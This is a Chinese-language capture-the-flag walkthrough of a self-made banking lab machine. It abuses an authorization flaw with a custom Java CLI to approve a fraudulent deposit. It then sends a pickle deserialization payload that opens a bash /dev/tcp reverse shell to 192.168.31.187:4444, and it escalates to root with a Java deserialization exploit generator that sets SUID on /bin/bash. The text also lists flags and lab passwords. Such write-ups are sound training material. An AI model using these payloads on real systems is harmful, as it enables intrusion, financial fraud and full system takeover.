这个靶机我是我制作的,因为方便上传所以不带有图片
信息收集
bash
$ nmap -sn 192.168.31.0/24 | grep PCS -B 2
Nmap scan report for bank-server (192.168.31.116)
Host is up (0.00015s latency).
MAC Address: 08:00:27:FC:75:1B (PCS Systemtechnik/Oracle VirtualBox virtual NIC)bash
$ nmap -p- 192.168.31.116 --min-rate 10000
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-07 07:44 EST
Nmap scan report for bank-server (192.168.31.116)
Host is up (0.00076s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp closed mysql
8000/tcp open http-alt
14646/tcp open unknown
MAC Address: 08:00:27:FC:75:1B (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 13.44 seconds发现两个 Web 服务:
可在商店页面注册用户并下载 bank-client-1.0.0.jar。
注册示例凭证:
用户名: MazeSec_test
邮箱: MazeSec_test@mazesec.com
密码: MaseSec@Passwd银行客户端使用
运行银行客户端:
bash
java -jar bank-client-1.0.0.jar服务器地址填写靶机 IP,端口默认 14646。
尝试注册账号示例:
用户名: MazeSec_test
密码: MaseSec@Passwd
真实姓名: MazeSec
身份证号: 101010101010101010大部分功能无法使用。尝试弱密码登录:
test / test
登录后发现消息功能中有管理员提示:
[2026-01-07 07:07:45] 我:
test
[2026-01-07 07:09:49] admin:
好了,又有一个新功能加上了
安全部说我这里有啥越权,啊,怎么会有人能找的到哪里有越权,哈哈提示存在越权漏洞。
越权利用与 CLI 工具开发
使用 Jar Analyzer 解包客户端,发现无加密保护。
编写命令行工具 BankCli.java 方便测试(放在 com/bank/client/cli 目录下):
bash
$ mkdir out
$ javac -d ./out -sourcepath . ./com/bank/client/cli/BankCli.javaBankCli.java 完整代码:
java
package com.bank.client.cli;
import com.bank.client.BankClient;
import com.bank.entity.Account;
import com.bank.entity.DepositRequest;
import com.bank.entity.Message;
import com.bank.entity.Transaction;
import com.bank.entity.User;
import com.bank.entity.WithdrawalToken;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.math.BigDecimal;
import java.time.LocalDateTime;
import java.time.format.DateTimeFormatter;
import java.util.ArrayList;
import java.util.List;
import java.util.Locale;
public class BankCli {
private static final DateTimeFormatter DATE_TIME_FORMATTER = DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss");
public static void main(String[] args) {
CliArgs cliArgs = CliArgs.parse(args);
if (cliArgs.help) {
printUsage();
return;
}
BankClient client = new BankClient(cliArgs.host, cliArgs.port);
if (!client.connect()) {
System.err.println("无法连接到服务器: " + cliArgs.host + ":" + cliArgs.port);
return;
}
try {
if (cliArgs.command == null || cliArgs.command.trim().isEmpty() || "repl".equalsIgnoreCase(cliArgs.command)) {
runRepl(client);
return;
}
Object response = executeCommand(client, cliArgs.command, cliArgs.commandArgs);
printResponse(response);
} catch (Exception e) {
e.printStackTrace();
System.exit(2);
} finally {
client.disconnect();
}
}
private static void runRepl(BankClient client) throws Exception {
BufferedReader reader = new BufferedReader(new InputStreamReader(System.in, "UTF-8"));
System.out.println("已连接到服务器。输入 help 查看命令,输入 exit 退出。");
while (true) {
System.out.print("bank> ");
String line = reader.readLine();
if (line == null) {
break;
}
line = line.trim();
if (line.isEmpty()) {
continue;
}
if ("exit".equalsIgnoreCase(line) || "quit".equalsIgnoreCase(line)) {
break;
}
if ("help".equalsIgnoreCase(line)) {
printUsage();
continue;
}
List<String> tokens = tokenize(line);
if (tokens.isEmpty()) {
continue;
}
String command = tokens.get(0);
String[] cmdArgs = tokens.subList(1, tokens.size()).toArray(new String[0]);
try {
Object response = executeCommand(client, command, cmdArgs);
printResponse(response);
} catch (Exception e) {
e.printStackTrace();
}
}
}
private static Object executeCommand(BankClient client, String command, String[] args) throws Exception {
switch(command.toLowerCase(Locale.ROOT)) {
case "ping":
return client.sendRequest("PING");
case "login":
requireArgs(command, args, 2);
return client.sendRequest("LOGIN", args[0], args[1]);
case "register": {
requireArgs(command, args, 4);
User.UserType userType = args.length >= 5 ? User.UserType.valueOf(args[4].toUpperCase(Locale.ROOT)) : User.UserType.CUSTOMER;
User newUser = new User(args[0], args[1], args[2], args[3], userType);
return client.sendRequest("REGISTER", newUser);
}
case "accounts-all":
return client.sendRequest("GET_ALL_ACCOUNTS");
case "accounts":
requireArgs(command, args, 1);
return client.sendRequest("GET_ACCOUNTS", Integer.valueOf(args[0]));
case "account-status":
requireArgs(command, args, 2);
return client.sendRequest("UPDATE_ACCOUNT_STATUS", args[0], args[1].toUpperCase(Locale.ROOT));
case "balance":
requireArgs(command, args, 1);
return client.sendRequest("GET_BALANCE", args[0]);
case "transactions": {
requireArgs(command, args, 1);
String accountNumber = args[0];
Account account = (Account)client.sendRequest("GET_BALANCE", accountNumber);
if (account == null || account.getId() == null) {
return null;
}
return client.sendRequest("GET_TRANSACTIONS", account.getId());
}
case "transactions-by-id":
requireArgs(command, args, 1);
return client.sendRequest("GET_TRANSACTIONS", Integer.valueOf(args[0]));
case "account-create": {
requireArgs(command, args, 2);
Account account = new Account(args[0], Integer.valueOf(args[1]), BigDecimal.ZERO);
return client.sendRequest("CREATE_ACCOUNT", account);
}
case "deposit-submit":
requireArgs(command, args, 3);
return client.sendRequest("SUBMIT_DEPOSIT_REQUEST", args[0], Integer.valueOf(args[1]), new BigDecimal(args[2]));
case "deposit-pending":
return client.sendRequest("GET_PENDING_DEPOSIT_REQUESTS");
case "deposit-my":
requireArgs(command, args, 1);
return client.sendRequest("GET_MY_DEPOSIT_REQUESTS", Integer.valueOf(args[0]));
case "deposit-approve": {
requireArgs(command, args, 2);
String remark = args.length >= 3 ? args[2] : "管理员批准";
return client.sendRequest("APPROVE_DEPOSIT_REQUEST", Integer.valueOf(args[0]), Integer.valueOf(args[1]), remark);
}
case "deposit-reject": {
requireArgs(command, args, 3);
return client.sendRequest("REJECT_DEPOSIT_REQUEST", Integer.valueOf(args[0]), Integer.valueOf(args[1]), args[2]);
}
case "withdraw":
requireArgs(command, args, 3);
return client.sendRequest("WITHDRAW_WITH_TOKEN", args[0], Integer.valueOf(args[1]), new BigDecimal(args[2]));
case "tokens":
requireArgs(command, args, 1);
return client.sendRequest("GET_USER_TOKENS", Integer.valueOf(args[0]));
case "token-cancel":
requireArgs(command, args, 1);
return client.sendRequest("CANCEL_TOKEN", args[0]);
case "identity-hash":
requireArgs(command, args, 1);
return client.sendRequest("GET_IDENTITY_HASH", Integer.valueOf(args[0]));
case "password-change":
requireArgs(command, args, 3);
return client.sendRequest("CHANGE_PASSWORD", Integer.valueOf(args[0]), args[1], args[2]);
case "messages-user":
requireArgs(command, args, 1);
return client.sendRequest("GET_USER_MESSAGES", Integer.valueOf(args[0]));
case "messages-received":
requireArgs(command, args, 1);
return client.sendRequest("GET_RECEIVED_MESSAGES", Integer.valueOf(args[0]));
case "messages-unread-customers":
return client.sendRequest("GET_ALL_UNREAD_CUSTOMER_MESSAGES");
case "message-send":
requireArgs(command, args, 3);
return client.sendRequest("SEND_MESSAGE", Integer.valueOf(args[0]), Integer.valueOf(args[1]), args[2]);
case "message-send-admins":
requireArgs(command, args, 2);
return client.sendRequest("SEND_MESSAGE_TO_ADMINS", Integer.valueOf(args[0]), args[1]);
case "message-mark-read":
requireArgs(command, args, 1);
return client.sendRequest("MARK_MESSAGE_READ", Integer.valueOf(args[0]));
case "conversation":
requireArgs(command, args, 2);
return client.sendRequest("GET_CONVERSATION", Integer.valueOf(args[0]), Integer.valueOf(args[1]));
case "unread-count":
requireArgs(command, args, 1);
return client.sendRequest("GET_UNREAD_COUNT", Integer.valueOf(args[0]));
case "raw": {
requireArgs(command, args, 1);
String rawCmd = args[0];
Object[] params = parseRawParams(args, 1);
return client.sendRequest(rawCmd, params);
}
default:
throw new IllegalArgumentException("未知命令: " + command);
}
}
private static Object[] parseRawParams(String[] args, int offset) {
if (args.length <= offset) {
return new Object[0];
}
List<Object> params = new ArrayList<>();
for (int i = offset; i < args.length; i++) {
params.add(parseTypedArg(args[i]));
}
return params.toArray(new Object[0]);
}
private static Object parseTypedArg(String token) {
if (token == null) {
return null;
}
if (token.startsWith("i:")) {
return Integer.valueOf(token.substring(2));
}
if (token.startsWith("d:")) {
return new BigDecimal(token.substring(2));
}
if (token.startsWith("b:")) {
return Boolean.valueOf(token.substring(2));
}
if (token.startsWith("s:")) {
return token.substring(2);
}
return token;
}
private static List<String> tokenize(String input) {
List<String> tokens = new ArrayList<>();
StringBuilder current = new StringBuilder();
boolean inQuotes = false;
char quoteChar = 0;
for (int i = 0; i < input.length(); i++) {
char c = input.charAt(i);
if (inQuotes) {
if (c == quoteChar) {
inQuotes = false;
continue;
}
if (c == '\\' && i + 1 < input.length()) {
char next = input.charAt(i + 1);
if (next == quoteChar || next == '\\') {
current.append(next);
i++;
continue;
}
}
current.append(c);
} else {
if (c == '"' || c == '\'') {
inQuotes = true;
quoteChar = c;
continue;
}
if (Character.isWhitespace(c)) {
if (current.length() > 0) {
tokens.add(current.toString());
current.setLength(0);
}
continue;
}
current.append(c);
}
}
if (current.length() > 0) {
tokens.add(current.toString());
}
return tokens;
}
private static void requireArgs(String command, String[] args, int min) {
if (args == null || args.length < min) {
throw new IllegalArgumentException(command + " 参数不足,至少需要 " + min + " 个参数");
}
}
private static void printResponse(Object response) {
if (response == null) {
System.out.println("null");
return;
}
if (response instanceof List) {
printList((List)response);
return;
}
if (response instanceof Account) {
printAccount((Account)response);
return;
}
if (response instanceof DepositRequest) {
printDepositRequest((DepositRequest)response);
return;
}
if (response instanceof Transaction) {
printTransaction((Transaction)response);
return;
}
if (response instanceof WithdrawalToken) {
printWithdrawalToken((WithdrawalToken)response);
return;
}
if (response instanceof User) {
printUser((User)response);
return;
}
System.out.println(String.valueOf(response));
}
private static void printList(List list) {
if (list == null) {
System.out.println("null");
return;
}
if (list.isEmpty()) {
System.out.println("[]");
return;
}
Object first = list.get(0);
if (first instanceof Account) {
for (Object item : list) {
printAccount((Account)item);
}
return;
}
if (first instanceof DepositRequest) {
for (Object item : list) {
printDepositRequest((DepositRequest)item);
}
return;
}
if (first instanceof Transaction) {
for (Object item : list) {
printTransaction((Transaction)item);
}
return;
}
if (first instanceof WithdrawalToken) {
for (Object item : list) {
printWithdrawalToken((WithdrawalToken)item);
}
return;
}
if (first instanceof Message) {
for (Object item : list) {
System.out.println(String.valueOf(item));
}
return;
}
for (Object item : list) {
System.out.println(String.valueOf(item));
}
}
private static void printUser(User user) {
System.out.println("User{id=" + user.getId() + ", username=" + user.getUsername() + ", realName=" + user.getRealName() + ", userType=" + user.getUserType() + ", identityHash=" + user.getIdentityHash() + "}");
}
private static void printAccount(Account account) {
System.out.println("Account{id=" + account.getId() + ", accountNumber=" + account.getAccountNumber() + ", userId=" + account.getUserId() + ", balance=" + account.getBalance() + ", status=" + account.getAccountStatus() + ", createdAt=" + formatDateTime(account.getCreatedAt()) + "}");
}
private static void printDepositRequest(DepositRequest request) {
System.out.println("DepositRequest{id=" + request.getId() + ", accountNumber=" + request.getAccountNumber() + ", userId=" + request.getUserId() + ", amount=" + request.getAmount() + ", status=" + request.getStatus() + ", requestTime=" + formatDateTime(request.getRequestTime()) + ", processTime=" + formatDateTime(request.getProcessTime()) + ", adminId=" + request.getAdminId() + ", remark=" + request.getRemark() + "}");
}
private static void printTransaction(Transaction trans) {
System.out.println("Transaction{id=" + trans.getId() + ", accountId=" + trans.getAccountId() + ", type=" + trans.getTransactionType() + ", amount=" + trans.getAmount() + ", balanceAfter=" + trans.getBalanceAfter() + ", createdAt=" + formatDateTime(trans.getCreatedAt()) + ", description=" + trans.getDescription() + "}");
}
private static void printWithdrawalToken(WithdrawalToken token) {
System.out.println("WithdrawalToken{id=" + token.getId() + ", accountNumber=" + token.getAccountNumber() + ", userId=" + token.getUserId() + ", amount=" + token.getAmount() + ", status=" + token.getStatus() + ", createdAt=" + formatDateTime(token.getCreatedAt()) + ", usedAt=" + formatDateTime(token.getUsedAt()) + ", usedBy=" + token.getUsedBy() + ", tokenHash=" + token.getTokenHash() + "}");
}
private static String formatDateTime(LocalDateTime dt) {
return dt == null ? "-" : dt.format(DATE_TIME_FORMATTER);
}
private static void printUsage() {
String usage = ""
+ "用法:\n"
+ " java com.bank.client.cli.BankCli --host <host> --port <port> <command> [args...]\n"
+ " java com.bank.client.cli.BankCli --host <host> --port <port> repl\n"
+ "\n"
+ "通用参数:\n"
+ " --host <host> 默认 127.0.0.1\n"
+ " --port <port> 默认 14646\n"
+ "\n"
+ "常用命令:\n"
+ " accounts-all\n"
+ " accounts <userId>\n"
+ " account-status <accountNumber> <ACTIVE|FROZEN|CLOSED>\n"
+ " balance <accountNumber>\n"
+ " transactions <accountNumber>\n"
+ " transactions-by-id <accountId>\n"
+ " account-create <accountNumber> <userId>\n"
+ " deposit-submit <accountNumber> <userId> <amount>\n"
+ " deposit-pending\n"
+ " deposit-my <userId>\n"
+ " deposit-approve <requestId> <adminId> [remark]\n"
+ " deposit-reject <requestId> <adminId> <remark>\n"
+ " withdraw <accountNumber> <userId> <amount>\n"
+ " tokens <userId>\n"
+ " token-cancel <tokenHash>\n"
+ " identity-hash <userId>\n"
+ " password-change <userId> <oldPassword> <newPassword>\n"
+ " messages-user <userId>\n"
+ " messages-received <userId>\n"
+ " messages-unread-customers\n"
+ " message-send <senderId> <receiverId> <content>\n"
+ " message-send-admins <senderId> <content>\n"
+ " message-mark-read <messageId>\n"
+ " conversation <userId> <otherUserId>\n"
+ " unread-count <userId>\n"
+ " raw <COMMAND> [s:文本 i:整数 d:小数 b:true|false ...]\n";
System.out.println(usage);
}
private static class CliArgs {
final String host;
final int port;
final String command;
final String[] commandArgs;
final boolean help;
private CliArgs(String host, int port, String command, String[] commandArgs, boolean help) {
this.host = host;
this.port = port;
this.command = command;
this.commandArgs = commandArgs;
this.help = help;
}
static CliArgs parse(String[] args) {
String host = "127.0.0.1";
int port = 14646;
boolean help = false;
List<String> rest = new ArrayList<>();
for (int i = 0; args != null && i < args.length; i++) {
String a = args[i];
if ("--host".equals(a) && i + 1 < args.length) {
host = args[++i];
continue;
}
if ("--port".equals(a) && i + 1 < args.length) {
port = Integer.parseInt(args[++i]);
continue;
}
if ("--help".equals(a) || "-h".equals(a)) {
help = true;
continue;
}
rest.add(a);
}
String command = rest.isEmpty() ? null : rest.get(0);
String[] commandArgs = rest.size() <= 1 ? new String[0] : rest.subList(1, rest.size()).toArray(new String[0]);
return new CliArgs(host, port, command, commandArgs, help);
}
}
}运行 CLI 工具并执行命令:
bash
$ java -cp ./out com.bank.client.cli.BankCli --host 192.168.31.116 --port 14646bash
bank> accounts-all
Account{id=5, accountNumber=123, userId=7, balance=10000.00, status=ACTIVE, createdAt=2026-01-07 07:08:09}使用自己的账号创建账户并提交大额存款申请,随后通过越权使用 deposit-approve 批准(尝试不同 adminId,最终 adminId=3 成功)。
bash
bank> deposit-approve 10 3
true此时账户余额变为 66779988.00。
生成身份认证 Hash 和取款凭证后,在市场系统中购买商品,收到提示:
孩子,我跟这个网站作者有点过节,去 /r00t_rooteabcsd.html 看看
bash
$ curl 'http://192.168.31.116/r00t_rooteabcsd.html'
root:toorcatshadow使用此凭证登录市场系统后台,在【系统配置】中发现 Pickle 反序列化漏洞。
Pickle 反序列化反弹 Shell
python
import pickle
import base64
class ReverseShell:
def __reduce__(self):
import os
cmd = "bash -c 'bash -i >& /dev/tcp/192.168.31.187/4444 0>&1'"
return (os.system, (cmd,))
payload = base64.b64encode(pickle.dumps(ReverseShell())).decode()
print(payload)bash
$ python encode_reverse.py
gASVTwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjDRiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMS4zMi80NDQ0IDA+JjEnlIWUUpQu成功获得 banker 用户权限:
bash
(remote) banker@bank-server:/opt/market$ id
uid=1000(banker) gid=1000(banker) groups=1000(banker)bash
(remote) banker@bank-server:/home/banker$ cat user.txt
flag{user-c501af335fb8e453397435b67e78a87f807b9e640c4503aa915dde38123c3548}提权
bash
(remote) banker@bank-server:/home/banker$ sudo -l
User banker may run the following commands on bank-server:
(ALL) NOPASSWD: /usr/bin/bank-admin-toolbash
(remote) banker@bank-server:/home/banker$ cat /usr/bin/bank-admin-tool
#!/bin/bash
/usr/bin/java -jar /opt/bank-admin-tool-1.0.0.jar反编译 bank-admin-tool-1.0.0.jar,在 AdminConfig.java 中发现反序列化命令执行漏洞:
java
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
if (this.initCommand != null && !this.initCommand.isEmpty()) {
try {
Runtime.getRuntime().exec(this.initCommand);
} catch (IOException var3) {
}
}
}编写 ExploitGenerator.java 生成恶意配置文件:
ExploitGenerator.java 完整代码:
java
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import com.bank.admin.AdminConfig;
/**
* 生成恶意配置文件用于反序列化攻击
*/
public class ExploitGenerator {
public static void main(String[] args) throws Exception {
if (args.length == 0) {
System.out.println("Usage: java ExploitGenerator <command>");
System.out.println("");
System.out.println("Examples:");
System.out.println(" java ExploitGenerator \"touch /tmp/pwned\"");
return;
}
String command = args[0];
String filename = "exploit.config";
// 创建恶意配置
AdminConfig malicious = new AdminConfig();
malicious.setServerHost("localhost");
malicious.setServerPort(14646);
malicious.setInitCommand(command); // 设置恶意命令
// 序列化到文件
try (FileOutputStream fos = new FileOutputStream(filename);
ObjectOutputStream oos = new ObjectOutputStream(fos)) {
oos.writeObject(malicious);
}
System.out.println("[+] Malicious config generated: " + filename);
System.out.println("[+] Command: " + command);
System.out.println("");
System.out.println("Next steps:");
System.out.println("1. Transfer " + filename + " to target server");
System.out.println("2. Run bank-admin-tool on target");
System.out.println("3. Select: 5 (Configuration Management) -> 3 (Import Configuration)");
System.out.println("4. Enter filename: " + filename);
System.out.println("5. Command will execute during deserialization");
}
}生成并使用恶意配置:
bash
$ java ExploitGenerator "chmod u+s /bin/bash"在 bank-admin-tool 中导入 exploit.config,成功使 /bin/bash 具有 SUID 权限:
bash
(remote) banker@bank-server:/home/banker$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1168776 Apr 18 2019 /bin/bashbash
(remote) root@bank-server:/root# id
uid=1000(banker) gid=1000(banker) euid=0(root) groups=1000(banker)
(remote) root@bank-server:/root# cat root.txt
flag{root-22ca34af1207f0478173b7a793b591bb47d5437d51377abb597a7f6bec3073da}相关凭证:
- 市场后台:
admin / hellojavabadpython(位于/var/www/html/p@ss_aD3i) - root 密码:
root / 5350f1ea8b3b526d1506f58d3bce0960989f9e2dfcf972ab8c6c0fed8f2ddcff - banker 用户密码:
banker / Adsdlfsadkcoasewiofn